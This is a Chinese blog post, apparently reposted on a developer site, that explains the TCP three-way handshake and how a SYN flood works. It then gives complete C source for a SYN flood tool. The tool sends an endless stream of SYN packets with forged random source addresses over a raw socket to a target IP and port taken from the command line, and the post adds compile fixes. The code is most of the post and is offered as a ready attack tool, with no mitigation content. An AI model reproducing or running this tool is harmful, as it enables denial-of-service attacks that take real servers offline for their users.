SYN攻击

在理解SYN攻击之前我们首先来复习一下TCP的相关知识:

  1. TCP协议的连接状态图:

    wKioL1fL41qyf-XMAALGr9CsYMc887.png

TCP的三次连接就是这样的。

    当成功建立连接的时候,服务端/客户端双方都会变更为ESTABLISED状态,但是对于服务端而言,还存在着一个状态。叫做办连接的状态,也就是处于SYN_RCVD状态,一直在等待客户端发送连接ACK的确认返回。

如果发现有很多SYN_RCVD状态,那你的机器有可能被SYN Flood的DoS(拒绝服务攻击)攻击了。 SYN Flood的攻击原理是: 在进行三次握手时,攻击软件向被攻击的服务器发送SYN连接请求(握手的第一步),但是这个地址是伪造的,如攻击软件随机伪造了51.133.163.104、65.158.99.152等等地址。服务器在收到连接请求时将标志位ACK和SYN置1发送给客户端(握手的第二步),但是这些客户端的IP地址都是伪造的,服务器根本找不到客户机,也就是说握手的第三步不可能完成。 这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。此时从正常客户的角度看来,服务器失去响应,这种情况我们称做:服务器端受到了SYN Flood攻击(SYN洪水攻击


下面是源码:

#include <stdio.h> 
#include <string.h> 
#include <time.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <asm/types.h> 
#include <linux/ip.h> 
#include <linux/tcp_new.h> 
#include <netdb.h> 
#include <sys/time.h> 


#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) 

void send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned short checksum(unsigned short *buffer, int size); 
unsigned short random_port(unsigned short minport,unsigned short maxport); 
void random_ip(char *str); 

int main(int argc,char **argv){ 
  int sockfd; 
  struct sockaddr_in addr; 
  //int dport; 
  int on=1; 
  if(argc!=3){ 
     printf("usage: <command_name> <target_ip> <port>\n"); 
     exit(1); 
  } 
  bzero(&addr,sizeof(struct sockaddr_in)); 
  addr.sin_family=AF_INET; 
  addr.sin_port=htons(atoi(argv[2])); 
  inet_pton(AF_INET,argv[1],&addr.sin_addr); 
  
  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
  if(sockfd<0){ 
     printf("Socket error!\n"); 
     exit(1); 
  } 
  setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 
  while(1){ 
     send_tcp(sockfd,&addr); 
  } 
  return 0; 
} 

void send_tcp(int sockfd,struct sockaddr_in *addr){ 
  char buff[100]; 
  struct iphdr  ip_header; 
  struct tcphdr tcp_header; 
  unsigned short source_port=random_port(1024,5000); 
  char ip_str[50]; 
  struct in_addr ip; 

  random_ip(ip_str); 
  if(inet_aton(ip_str,&ip)==0){ 
     printf("inet_aton error!\n"); 
     exit(1); 
  } 
  bzero(buff,100); 
   
  ip_header.version=4; 
  ip_header.ihl=5; 
  ip_header.tos=0; 
  ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr); 
  ip_header.id=htons(random()); 
  ip_header.frag_off=0; 
  ip_header.ttl=30; 
  ip_header.protocol=IPPROTO_TCP; 
  ip_header.check=0; 
  ip_header.saddr=ip.s_addr; 
  ip_header.daddr=addr->sin_addr.s_addr; 

  tcp_header.source=htons(source_port); 
  tcp_header.dest=addr->sin_port; 
  tcp_header.seq=rand(); 
  tcp_header.doff=sizeof(struct tcphdr)/4; 
  tcp_header.ack_seq=0; 
  tcp_header.res1=0; 
  tcp_header.fin=0; 
  tcp_header.syn=1; 
  tcp_header.rst=0; 
  tcp_header.psh=0; 
  tcp_header.ack=0; 
  tcp_header.urg=0; 
  tcp_header.window=htons(65535); 
  tcp_header.check=0; 
  tcp_header.urg_ptr=0; 

   
  struct{ 
     unsigned long saddr; 
     unsigned long daddr; 
     char mbz; 
     char ptcl; 
     unsigned short tcpl; 
  }psd_header; 

  psd_header.saddr=ip_header.saddr; 
  psd_header.daddr=ip_header.daddr; 
  psd_header.mbz=0; 
  psd_header.ptcl=IPPROTO_TCP; 
  psd_header.tcpl=htons(sizeof(struct tcphdr)); 

  memcpy(buff,&psd_header,sizeof(psd_header)); 
  memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); 
  tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header)); 
   
  memcpy(buff,&ip_header,4*ip_header.ihl); 
  memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header)); 
  ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header)); 
     
  sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0, 
             (struct sockaddr*)addr,sizeof(struct sockaddr_in)); 
  
} 


unsigned short checksum(unsigned short *buffer, int size){ 

  unsigned long cksum=0; 

        while(size >1) { 

            cksum+=*buffer++; 

            size -=sizeof(unsigned short); 

        } 

        if(size ) cksum += *(unsigned char*)buffer;  //..buffer..size..2...... 

        cksum = (cksum >> 16) + (cksum & 0xffff); 

        cksum += (cksum >>16); 

        return (unsigned short)(~cksum); 

} 

unsigned short random_port(unsigned short minport,unsigned short maxport){ 
  srand((unsigned)time(NULL)); 
  return(getrandom(minport,maxport)); 
} 

void random_ip(char *str){ 
  int a,b,c,d,i=0; 
  static long j=0; 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  a=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  b=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  c=getrandom(0,255); 
  srand((unsigned)time(NULL)+(i++)+(j++)); 
  d=getrandom(0,255); 
  sprintf(str,"%d.%d.%d.%d",a,b,c,d); 
  printf("%s\n",str);   
}

//缺少。
enum { 
TCP_FLAG_CWR = htonl(0x00800000) 
TCP_FLAG_ECE = htonl(0x00400000), 
TCP_FLAG_URG = htonl(0x00200000), 
TCP_FLAG_ACK = htonl(0x00100000), 
TCP_FLAG_PSH = htonl(0x00080000), 
TCP_FLAG_RST = htonl(0x00040000), 
TCP_FLAG_SYN = htonl(0x00020000), 
TCP_FLAG_FIN = htonl(0x00010000), 
TCP_RESERVED_BITS = htonl(0x0FC000000), 
TCP_DATA_OFFSET = htonl(0xF0000000) 
}; 
解决办法:将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中,在新文件中去掉上面几行代码中的htonl,在自己的文件中用#include <linux/tcp_new.h>代替#include <linux/tcp.h>即可。

以上

本文出自 “剩蛋君” 博客,转载请与作者联系!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值